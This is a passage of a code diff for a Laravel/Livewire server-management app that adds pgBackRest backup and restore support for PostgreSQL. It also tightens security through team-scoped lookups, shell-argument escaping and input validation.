||||
}
|
||||
|
||||
$this->engine = $this->engine === 'pgbackrest' ? 'native' : 'pgbackrest';
|
||||
}
|
||||
|
||||
public function mount()
|
||||
{
|
||||
try {
|
||||
|
|
@ -94,51 +160,86 @@ class BackupEdit extends Component
|
|||
if ($toModel) {
|
||||
$this->backup->enabled = $this->backupEnabled;
|
||||
$this->backup->frequency = $this->frequency;
|
||||
$this->backup->database_backup_retention_amount_locally = $this->databaseBackupRetentionAmountLocally;
|
||||
$this->backup->database_backup_retention_days_locally = $this->databaseBackupRetentionDaysLocally;
|
||||
$this->backup->database_backup_retention_max_storage_locally = $this->databaseBackupRetentionMaxStorageLocally;
|
||||
$this->backup->database_backup_retention_amount_s3 = $this->databaseBackupRetentionAmountS3;
|
||||
$this->backup->database_backup_retention_days_s3 = $this->databaseBackupRetentionDaysS3;
|
||||
$this->backup->database_backup_retention_max_storage_s3 = $this->databaseBackupRetentionMaxStorageS3;
|
||||
$this->backup->save_s3 = $this->saveS3;
|
||||
$this->backup->disable_local_backup = $this->disableLocalBackup;
|
||||
$this->backup->s3_storage_id = $this->s3StorageId;
|
||||
$this->backup->engine = $this->engine;
|
||||
|
||||
// Validate databases_to_backup to prevent command injection
|
||||
if (filled($this->databasesToBackup)) {
|
||||
$databases = str($this->databasesToBackup)->explode(',');
|
||||
foreach ($databases as $index => $db) {
|
||||
$dbName = trim($db);
|
||||
try {
|
||||
validateShellSafePath($dbName, 'database name');
|
||||
} catch (\Exception $e) {
|
||||
// Provide specific error message indicating which database failed validation
|
||||
$position = $index + 1;
|
||||
throw new \Exception(
|
||||
"Database #{$position} ('{$dbName}') validation failed: ".
|
||||
$e->getMessage()
|
||||
);
|
||||
$this->backup->timeout = $this->timeout;
|
||||
|
||||
if ($this->engine === 'pgbackrest') {
|
||||
DB::transaction(function () {
|
||||
$this->backup->save_s3 = $this->saveS3;
|
||||
$computedDisableLocal = $this->saveS3 && $this->disableLocalBackup;
|
||||
$this->disableLocalBackup = $computedDisableLocal;
|
||||
$this->backup->disable_local_backup = $computedDisableLocal;
|
||||
|
||||
$this->backup->pgbackrest_backup_type = $this->pgbackrestBackupType;
|
||||
$this->backup->pgbackrest_compress_type = $this->pgbackrestCompressType;
|
||||
$this->backup->pgbackrest_compress_level = $this->pgbackrestCompressLevel;
|
||||
$this->backup->pgbackrest_log_level = $this->pgbackrestLogLevel;
|
||||
$this->backup->pgbackrest_archive_mode = $this->pgbackrestArchiveMode;
|
||||
|
||||
$this->customValidate();
|
||||
$this->backup->save();
|
||||
$this->syncPgbackrestRepos();
|
||||
});
|
||||
} else {
|
||||
$this->backup->save_s3 = $this->saveS3;
|
||||
$this->backup->disable_local_backup = $this->disableLocalBackup;
|
||||
$this->backup->database_backup_retention_amount_locally = $this->databaseBackupRetentionAmountLocally;
|
||||
$this->backup->database_backup_retention_days_locally = $this->databaseBackupRetentionDaysLocally;
|
||||
$this->backup->database_backup_retention_max_storage_locally = $this->databaseBackupRetentionMaxStorageLocally;
|
||||
$this->backup->database_backup_retention_amount_s3 = $this->databaseBackupRetentionAmountS3;
|
||||
$this->backup->database_backup_retention_days_s3 = $this->databaseBackupRetentionDaysS3;
|
||||
$this->backup->database_backup_retention_max_storage_s3 = $this->databaseBackupRetentionMaxStorageS3;
|
||||
$this->backup->s3_storage_id = $this->s3StorageId;
|
||||
|
||||
if (filled($this->databasesToBackup)) {
|
||||
$databases = str($this->databasesToBackup)->explode(',');
|
||||
foreach ($databases as $index => $db) {
|
||||
$dbName = trim($db);
|
||||
try {
|
||||
validateShellSafePath($dbName, 'database name');
|
||||
} catch (Exception $e) {
|
||||
$position = $index + 1;
|
||||
throw new Exception(
|
||||
"Database #{$position} ('{$dbName}') validation failed: ".
|
||||
$e->getMessage()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$this->backup->databases_to_backup = $this->databasesToBackup;
|
||||
$this->backup->dump_all = $this->dumpAll;
|
||||
$this->backup->timeout = $this->timeout;
|
||||
$this->customValidate();
|
||||
$this->backup->save();
|
||||
$this->backup->databases_to_backup = $this->databasesToBackup;
|
||||
$this->backup->dump_all = $this->dumpAll;
|
||||
|
||||
$this->customValidate();
|
||||
$this->backup->save();
|
||||
}
|
||||
} else {
|
||||
$this->backupEnabled = $this->backup->enabled;
|
||||
$this->frequency = $this->backup->frequency;
|
||||
$this->timezone = data_get($this->backup->server(), 'settings.server_timezone', 'Instance timezone');
|
||||
$this->engine = $this->backup->engine ?? 'native';
|
||||
|
||||
$this->pgbackrestBackupType = $this->backup->pgbackrest_backup_type ?? 'full';
|
||||
$this->pgbackrestCompressType = $this->backup->pgbackrest_compress_type ?? 'lz4';
|
||||
$this->pgbackrestCompressLevel = $this->backup->pgbackrest_compress_level ?? 6;
|
||||
$this->pgbackrestLogLevel = $this->backup->pgbackrest_log_level ?? 'info';
|
||||
$this->pgbackrestArchiveMode = $this->backup->pgbackrest_archive_mode ?? 'standard';
|
||||
|
||||
$this->databaseBackupRetentionAmountLocally = $this->backup->database_backup_retention_amount_locally;
|
||||
$this->databaseBackupRetentionDaysLocally = $this->backup->database_backup_retention_days_locally;
|
||||
$this->databaseBackupRetentionMaxStorageLocally = $this->backup->database_backup_retention_max_storage_locally;
|
||||
$this->databaseBackupRetentionAmountS3 = $this->backup->database_backup_retention_amount_s3;
|
||||
$this->databaseBackupRetentionDaysS3 = $this->backup->database_backup_retention_days_s3;
|
||||
$this->databaseBackupRetentionMaxStorageS3 = $this->backup->database_backup_retention_max_storage_s3;
|
||||
$this->saveS3 = $this->backup->save_s3;
|
||||
$this->disableLocalBackup = $this->backup->disable_local_backup ?? false;
|
||||
|
||||
if ($this->engine === 'pgbackrest') {
|
||||
$this->loadPgbackrestRepos();
|
||||
} else {
|
||||
$this->saveS3 = $this->backup->save_s3;
|
||||
$this->disableLocalBackup = $this->backup->disable_local_backup ?? false;
|
||||
}
|
||||
|
||||
$this->s3StorageId = $this->backup->s3_storage_id;
|
||||
$this->databasesToBackup = $this->backup->databases_to_backup;
|
||||
$this->dumpAll = $this->backup->dump_all;
|
||||
|
|
@ -146,12 +247,98 @@ class BackupEdit extends Component
|
|||
}
|
||||
}
|
||||
|
||||
private function loadPgbackrestRepos(): void
|
||||
{
|
||||
$localRepo = $this->backup->localRepo();
|
||||
$s3Repo = $this->backup->s3Repo();
|
||||
|
||||
$this->disableLocalBackup = $localRepo === null || ! $localRepo->enabled;
|
||||
$this->saveS3 = $s3Repo !== null && $s3Repo->enabled;
|
||||
|
||||
if ($localRepo) {
|
||||
$this->localRepoRetentionFullType = $localRepo->retention_full_type ?? 'count';
|
||||
$this->localRepoRetentionFull = $localRepo->retention_full ?? 2;
|
||||
$this->localRepoRetentionDiff = $localRepo->retention_diff ?? 7;
|
||||
}
|
||||
|
||||
if ($s3Repo) {
|
||||
$this->s3RepoStorageId = $s3Repo->s3_storage_id;
|
||||
$this->s3RepoRetentionFullType = $s3Repo->retention_full_type ?? 'count';
|
||||
$this->s3RepoRetentionFull = $s3Repo->retention_full ?? 2;
|
||||
$this->s3RepoRetentionDiff = $s3Repo->retention_diff ?? 7;
|
||||
}
|
||||
}
|
||||
|
||||
private function syncPgbackrestRepos(): void
|
||||
{
|
||||
$hasLocal = ! $this->disableLocalBackup;
|
||||
|
||||
if ($this->saveS3 && empty($this->s3RepoStorageId)) {
|
||||
if ($this->s3s->isNotEmpty()) {
|
||||
$this->s3RepoStorageId = $this->s3s->first()->id;
|
||||
} else {
|
||||
throw new Exception('S3 storage must be selected when S3 backups are enabled.');
|
||||
}
|
||||
}
|
||||
|
||||
$hasS3 = $this->saveS3 && ! empty($this->s3RepoStorageId);
|
||||
|
||||
if (! $hasLocal && ! $hasS3) {
|
||||
throw new Exception(
|
||||
'At least one backup repository (local or S3) must be enabled for pgBackRest. '.
|
||||
'Either enable local backups or configure S3 storage and enable it.'
|
||||
);
|
||||
}
|
||||
|
||||
$repoNumber = 1;
|
||||
|
||||
if ($hasLocal) {
|
||||
$localRepo = $this->backup->localRepo();
|
||||
if (! $localRepo) {
|
||||
$localRepo = new PgbackrestRepo;
|
||||
$localRepo->scheduled_database_backup_id = $this->backup->id;
|
||||
$localRepo->type = 'posix';
|
||||
}
|
||||
$localRepo->repo_number = $repoNumber;
|
||||
$localRepo->enabled = true;
|
||||
$localRepo->retention_full_type = $this->localRepoRetentionFullType ?? 'count';
|
||||
$localRepo->retention_full = $this->localRepoRetentionFull ?? 2;
|
||||
$localRepo->retention_diff = $this->localRepoRetentionDiff ?? 7;
|
||||
$localRepo->save();
|
||||
$repoNumber++;
|
||||
} else {
|
||||
$this->backup->pgbackrestRepos()->where('type', 'posix')->delete();
|
||||
}
|
||||
|
||||
if ($hasS3) {
|
||||
$s3Repo = $this->backup->s3Repo();
|
||||
if (! $s3Repo) {
|
||||
$s3Repo = new PgbackrestRepo;
|
||||
$s3Repo->scheduled_database_backup_id = $this->backup->id;
|
||||
$s3Repo->type = 's3';
|
||||
}
|
||||
$s3Repo->repo_number = $repoNumber;
|
||||
$s3Repo->enabled = true;
|
||||
$s3Repo->s3_storage_id = $this->s3RepoStorageId;
|
||||
$s3Repo->retention_full_type = $this->s3RepoRetentionFullType ?? 'count';
|
||||
$s3Repo->retention_full = $this->s3RepoRetentionFull ?? 2;
|
||||
$s3Repo->retention_diff = $this->s3RepoRetentionDiff ?? 7;
|
||||
$s3Repo->save();
|
||||
} else {
|
||||
$this->backup->pgbackrestRepos()->where('type', 's3')->delete();
|
||||
}
|
||||
}
|
||||
|
||||
public function delete($password)
|
||||
{
|
||||
$this->authorize('manageBackups', $this->backup->database);
|
||||
|
||||
if (! verifyPasswordConfirmation($password, $this)) {
|
||||
return;
|
||||
if (! data_get(InstanceSettings::get(), 'disable_two_step_confirmation')) {
|
||||
if (! Hash::check($password, Auth::user()->password)) {
|
||||
$this->addError('password', 'The provided password is incorrect.');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
|
|
@ -194,7 +381,7 @@ class BackupEdit extends Component
|
|||
} else {
|
||||
return redirect()->route('project.database.backup.index', $this->parameters);
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
} catch (Exception $e) {
|
||||
$this->dispatch('error', 'Failed to delete backup: '.$e->getMessage());
|
||||
|
||||
return handleError($e, $this);
|
||||
|
|
@ -219,14 +406,13 @@ class BackupEdit extends Component
|
|||
$this->backup->s3_storage_id = null;
|
||||
}
|
||||
|
||||
// Validate that disable_local_backup can only be true when S3 backup is enabled
|
||||
if ($this->backup->disable_local_backup && ! $this->backup->save_s3) {
|
||||
$this->backup->disable_local_backup = $this->disableLocalBackup = false;
|
||||
}
|
||||
|
||||
$isValid = validate_cron_expression($this->backup->frequency);
|
||||
if (! $isValid) {
|
||||
throw new \Exception('Invalid Cron / Human expression');
|
||||
throw new Exception('Invalid Cron / Human expression');
|
||||
}
|
||||
$this->validate();
|
||||
}
|
||||
|
|
@ -243,14 +429,19 @@ class BackupEdit extends Component
|
|||
}
|
||||
}
|
||||
|
||||
public function isPostgresql(): bool
|
||||
{
|
||||
return $this->backup->database_type === StandalonePostgresql::class;
|
||||
}
|
||||
|
||||
public function render()
|
||||
{
|
||||
return view('livewire.project.database.backup-edit', [
|
||||
'checkboxes' => [
|
||||
['id' => 'delete_associated_backups_locally', 'label' => __('database.delete_backups_locally')],
|
||||
['id' => 'delete_associated_backups_s3', 'label' => 'All backups will be permanently deleted (associated with this backup job) from the selected S3 Storage.'],
|
||||
// ['id' => 'delete_associated_backups_sftp', 'label' => 'All backups associated with this backup job from this database will be permanently deleted from the selected SFTP Storage.']
|
||||
],
|
||||
'isPostgresql' => $this->isPostgresql(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,13 +2,22 @@
|
|||
|
||||
namespace App\Livewire\Project\Database;
|
||||
|
||||
use App\Actions\Database\PgBackrestRestore;
|
||||
use App\Models\DatabaseRestore;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Livewire\Component;
|
||||
|
||||
class BackupExecutions extends Component
|
||||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public ?ScheduledDatabaseBackup $backup = null;
|
||||
|
||||
public $database;
|
||||
|
|
@ -33,6 +42,14 @@ class BackupExecutions extends Component
|
|||
|
||||
public $delete_backup_sftp = false;
|
||||
|
||||
public ?int $restoreExecutionId = null;
|
||||
|
||||
public ?DatabaseRestore $currentRestore = null;
|
||||
|
||||
public bool $showRestoreModal = false;
|
||||
|
||||
public bool $showRestoreProgressModal = false;
|
||||
|
||||
public function getListeners()
|
||||
{
|
||||
$userId = Auth::id();
|
||||
|
|
@ -67,8 +84,12 @@ class BackupExecutions extends Component
|
|||
|
||||
public function deleteBackup($executionId, $password)
|
||||
{
|
||||
if (! verifyPasswordConfirmation($password, $this)) {
|
||||
return;
|
||||
if (! data_get(InstanceSettings::get(), 'disable_two_step_confirmation')) {
|
||||
if (! Hash::check($password, Auth::user()->password)) {
|
||||
$this->addError('password', 'The provided password is incorrect.');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$execution = $this->backup->executions()->where('id', $executionId)->first();
|
||||
|
|
@ -104,6 +125,73 @@ class BackupExecutions extends Component
|
|||
return redirect()->route('download.backup', $exeuctionId);
|
||||
}
|
||||
|
||||
public function confirmRestore(int $executionId)
|
||||
{
|
||||
$execution = $this->backup->executions()->where('id', $executionId)->first();
|
||||
if (! $execution || ! $execution->canRestore()) {
|
||||
$this->dispatch('error', 'This backup cannot be restored.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$this->restoreExecutionId = $executionId;
|
||||
$this->showRestoreModal = true;
|
||||
}
|
||||
|
||||
public function cancelRestore()
|
||||
{
|
||||
$this->restoreExecutionId = null;
|
||||
$this->showRestoreModal = false;
|
||||
}
|
||||
|
||||
public function startRestore(int $executionId)
|
||||
{
|
||||
$execution = $this->backup->executions()->where('id', $executionId)->first();
|
||||
if (! $execution || ! $execution->canRestore()) {
|
||||
$this->dispatch('error', 'This backup cannot be restored.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$database = $this->backup->database;
|
||||
if (! $database instanceof StandalonePostgresql) {
|
||||
$this->dispatch('error', 'PgBackRest restore is only available for PostgreSQL databases.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$this->authorize('manage', $database);
|
||||
|
||||
try {
|
||||
$this->currentRestore = PgBackrestRestore::run($database, $execution);
|
||||
$this->showRestoreModal = false;
|
||||
$this->showRestoreProgressModal = true;
|
||||
$this->dispatch('success', 'Restore initiated. The database will be temporarily unavailable.');
|
||||
} catch (\Exception $e) {
|
||||
$this->dispatch('error', 'Failed to start restore: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
public function pollRestoreStatus()
|
||||
{
|
||||
if (! $this->currentRestore) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->currentRestore->refresh();
|
||||
|
||||
if ($this->currentRestore->isFinished()) {
|
||||
$this->refreshBackupExecutions();
|
||||
}
|
||||
}
|
||||
|
||||
public function closeRestoreProgress()
|
||||
{
|
||||
$this->currentRestore = null;
|
||||
$this->showRestoreProgressModal = false;
|
||||
$this->refreshBackupExecutions();
|
||||
}
|
||||
|
||||
public function refreshBackupExecutions(): void
|
||||
{
|
||||
$this->loadExecutions();
|
||||
|
|
@ -172,6 +260,7 @@ class BackupExecutions extends Component
|
|||
{
|
||||
$this->backup = $backup;
|
||||
$this->database = $backup->database;
|
||||
$this->authorize('view', $this->database);
|
||||
$this->updateCurrentPage();
|
||||
$this->loadExecutions();
|
||||
}
|
||||
|
|
|
|||
|
|
@ -45,10 +45,10 @@ class Danger extends Component
|
|||
|
||||
if ($this->resource === null) {
|
||||
if (isset($parameters['service_uuid'])) {
|
||||
$this->resource = Service::where('uuid', $parameters['service_uuid'])->first();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first();
|
||||
} elseif (isset($parameters['stack_service_uuid'])) {
|
||||
$this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first()
|
||||
?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first();
|
||||
$this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first()
|
||||
?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -38,7 +38,7 @@ class ExecuteContainerCommand extends Component
|
|||
$this->servers = collect();
|
||||
if (data_get($this->parameters, 'application_uuid')) {
|
||||
$this->type = 'application';
|
||||
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
if ($this->resource->destination->server->isFunctional()) {
|
||||
$this->servers = $this->servers->push($this->resource->destination->server);
|
||||
}
|
||||
|
|
@ -61,14 +61,14 @@ class ExecuteContainerCommand extends Component
|
|||
$this->loadContainers();
|
||||
} elseif (data_get($this->parameters, 'service_uuid')) {
|
||||
$this->type = 'service';
|
||||
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
if ($this->resource->server->isFunctional()) {
|
||||
$this->servers = $this->servers->push($this->resource->server);
|
||||
}
|
||||
$this->loadContainers();
|
||||
} elseif (data_get($this->parameters, 'server_uuid')) {
|
||||
$this->type = 'server';
|
||||
$this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail();
|
||||
$this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail();
|
||||
$this->servers = $this->servers->push($this->resource);
|
||||
}
|
||||
$this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled());
|
||||
|
|
|
|||
|
|
@ -106,7 +106,7 @@ class Logs extends Component
|
|||
$this->query = request()->query();
|
||||
if (data_get($this->parameters, 'application_uuid')) {
|
||||
$this->type = 'application';
|
||||
$this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail();
|
||||
$this->status = $this->resource->status;
|
||||
if ($this->resource->destination->server->isFunctional()) {
|
||||
$server = $this->resource->destination->server;
|
||||
|
|
@ -133,7 +133,7 @@ class Logs extends Component
|
|||
$this->containers->push($this->container);
|
||||
} elseif (data_get($this->parameters, 'service_uuid')) {
|
||||
$this->type = 'service';
|
||||
$this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail();
|
||||
$this->resource->applications()->get()->each(function ($application) {
|
||||
$this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid'));
|
||||
});
|
||||
|
|
|
|||
|
|
@ -24,16 +24,16 @@ class LogDrains extends Component
|
|||
#[Validate(['boolean'])]
|
||||
public bool $isLogDrainAxiomEnabled = false;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainNewRelicLicenseKey = null;
|
||||
|
||||
#[Validate(['url', 'nullable'])]
|
||||
public ?string $logDrainNewRelicBaseUri = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainAxiomDatasetName = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
|
||||
public ?string $logDrainAxiomApiKey = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
@ -127,7 +127,7 @@ class LogDrains extends Component
|
|||
if ($this->isLogDrainNewRelicEnabled) {
|
||||
try {
|
||||
$this->validate([
|
||||
'logDrainNewRelicLicenseKey' => ['required'],
|
||||
'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainNewRelicBaseUri' => ['required', 'url'],
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
|
|
@ -138,8 +138,8 @@ class LogDrains extends Component
|
|||
} elseif ($this->isLogDrainAxiomEnabled) {
|
||||
try {
|
||||
$this->validate([
|
||||
'logDrainAxiomDatasetName' => ['required'],
|
||||
'logDrainAxiomApiKey' => ['required'],
|
||||
'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
$this->isLogDrainAxiomEnabled = false;
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ class Sentinel extends Component
|
|||
|
||||
public bool $isMetricsEnabled;
|
||||
|
||||
#[Validate(['required'])]
|
||||
#[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])]
|
||||
public string $sentinelToken;
|
||||
|
||||
public ?string $sentinelUpdatedAt = null;
|
||||
|
|
|
|||
|
|
@ -139,7 +139,9 @@ class Show extends Component
|
|||
private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->environment->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -130,7 +130,9 @@ class Show extends Component
|
|||
private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->project->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -129,7 +129,9 @@ class Index extends Component
|
|||
private function updateOrCreateVariables($variables)
|
||||
{
|
||||
$count = 0;
|
||||
foreach ($variables as $key => $value) {
|
||||
foreach ($variables as $key => $data) {
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
|
||||
$found = $this->team->environment_variables()->where('key', $key)->first();
|
||||
|
||||
if ($found) {
|
||||
|
|
|
|||
|
|
@ -1686,7 +1686,8 @@ class Application extends BaseModel
|
|||
|
||||
protected function buildGitCheckoutCommand($target): string
|
||||
{
|
||||
$command = "git checkout $target";
|
||||
$escapedTarget = escapeshellarg($target);
|
||||
$command = "git checkout {$escapedTarget}";
|
||||
|
||||
if ($this->settings->is_git_submodules_enabled) {
|
||||
$command .= ' && git submodule update --init --recursive';
|
||||
|
|
|
|||
80
app/Models/DatabaseRestore.php
Normal file
80
app/Models/DatabaseRestore.php
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\MorphTo;
|
||||
|
||||
class DatabaseRestore extends BaseModel
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'target_time' => 'datetime',
|
||||
'finished_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function database(): MorphTo
|
||||
{
|
||||
return $this->morphTo();
|
||||
}
|
||||
|
||||
public function execution(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(ScheduledDatabaseBackupExecution::class, 'scheduled_database_backup_execution_id');
|
||||
}
|
||||
|
||||
public function isRunning(): bool
|
||||
{
|
||||
return $this->status === 'running';
|
||||
}
|
||||
|
||||
public function isPending(): bool
|
||||
{
|
||||
return $this->status === 'pending';
|
||||
}
|
||||
|
||||
public function isSuccess(): bool
|
||||
{
|
||||
return $this->status === 'success';
|
||||
}
|
||||
|
||||
public function isFailed(): bool
|
||||
{
|
||||
return $this->status === 'failed';
|
||||
}
|
||||
|
||||
public function isFinished(): bool
|
||||
{
|
||||
return in_array($this->status, ['success', 'failed']);
|
||||
}
|
||||
|
||||
public function appendLog(string $message, bool $persist = true): void
|
||||
{
|
||||
$timestamp = now()->format('Y-m-d H:i:s');
|
||||
$this->log = ($this->log ?? '')."[{$timestamp}] {$message}\n";
|
||||
|
||||
if ($persist) {
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
|
||||
public function updateStatus(string $status, ?string $message = null): void
|
||||
{
|
||||
$this->status = $status;
|
||||
|
||||
if ($message !== null) {
|
||||
$this->message = $message;
|
||||
$this->appendLog($message, persist: false);
|
||||
}
|
||||
|
||||
if ($this->isFinished()) {
|
||||
$this->finished_at = now();
|
||||
}
|
||||
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
72
app/Models/PgbackrestRepo.php
Normal file
72
app/Models/PgbackrestRepo.php
Normal file
|
|
@ -0,0 +1,72 @@
|
|||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
class PgbackrestRepo extends BaseModel
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'enabled' => 'boolean',
|
||||
'repo_number' => 'integer',
|
||||
'retention_full' => 'integer',
|
||||
'retention_diff' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
protected static function booted(): void
|
||||
{
|
||||
static::creating(function ($repo) {
|
||||
if (empty($repo->uuid)) {
|
||||
$repo->uuid = (string) new Cuid2;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function scheduledDatabaseBackup(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(ScheduledDatabaseBackup::class);
|
||||
}
|
||||
|
||||
public function s3Storage(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(S3Storage::class, 's3_storage_id');
|
||||
}
|
||||
|
||||
public function isLocal(): bool
|
||||
{
|
||||
return $this->type === 'posix';
|
||||
}
|
||||
|
||||
public function isS3(): bool
|
||||
{
|
||||
return $this->type === 's3';
|
||||
}
|
||||
|
||||
public function getRepoKey(): string
|
||||
{
|
||||
return "repo{$this->repo_number}";
|
||||
}
|
||||
|
||||
public function getDefaultPath(): string
|
||||
{
|
||||
if ($this->isS3()) {
|
||||
$backup = $this->scheduledDatabaseBackup;
|
||||
$database = $backup?->database;
|
||||
|
||||
return '/'.($database?->uuid ?? 'backup');
|
||||
}
|
||||
|
||||
return '/var/lib/pgbackrest';
|
||||
}
|
||||
|
||||
public function getEffectivePath(): string
|
||||
{
|
||||
return $this->path ?: $this->getDefaultPath();
|
||||
}
|
||||
}
|
||||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Database\Eloquent\Relations\HasManyThrough;
|
||||
use Illuminate\Database\Eloquent\Relations\HasOne;
|
||||
use Illuminate\Database\Eloquent\Relations\MorphTo;
|
||||
|
||||
|
|
@ -10,6 +11,69 @@ class ScheduledDatabaseBackup extends BaseModel
|
|||
{
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'enabled' => 'boolean',
|
||||
'save_s3' => 'boolean',
|
||||
'dump_all' => 'boolean',
|
||||
'disable_local_backup' => 'boolean',
|
||||
'pgbackrest_compress_level' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isPgBackrest(): bool
|
||||
{
|
||||
return $this->engine === 'pgbackrest';
|
||||
}
|
||||
|
||||
public function isNative(): bool
|
||||
{
|
||||
return $this->engine === 'native' || $this->engine === null;
|
||||
}
|
||||
|
||||
public function pgbackrestRepos(): HasMany
|
||||
{
|
||||
return $this->hasMany(PgbackrestRepo::class)->orderBy('repo_number');
|
||||
}
|
||||
|
||||
public function enabledPgbackrestRepos(): HasMany
|
||||
{
|
||||
return $this->hasMany(PgbackrestRepo::class)->where('enabled', true)->orderBy('repo_number');
|
||||
}
|
||||
|
||||
public function localRepo(): ?PgbackrestRepo
|
||||
{
|
||||
return $this->enabledPgbackrestRepos()->where('type', 'posix')->first()
|
||||
?? $this->pgbackrestRepos()->where('type', 'posix')->first();
|
||||
}
|
||||
|
||||
public function s3Repo(): ?PgbackrestRepo
|
||||
{
|
||||
return $this->enabledPgbackrestRepos()->where('type', 's3')->first()
|
||||
?? $this->pgbackrestRepos()->where('type', 's3')->first();
|
||||
}
|
||||
|
||||
public function hasLocalRepo(): bool
|
||||
{
|
||||
return $this->pgbackrestRepos()->where('type', 'posix')->where('enabled', true)->exists();
|
||||
}
|
||||
|
||||
public function hasS3Repo(): bool
|
||||
{
|
||||
return $this->pgbackrestRepos()->where('type', 's3')->where('enabled', true)->exists();
|
||||
}
|
||||
|
||||
public function restores(): HasManyThrough
|
||||
{
|
||||
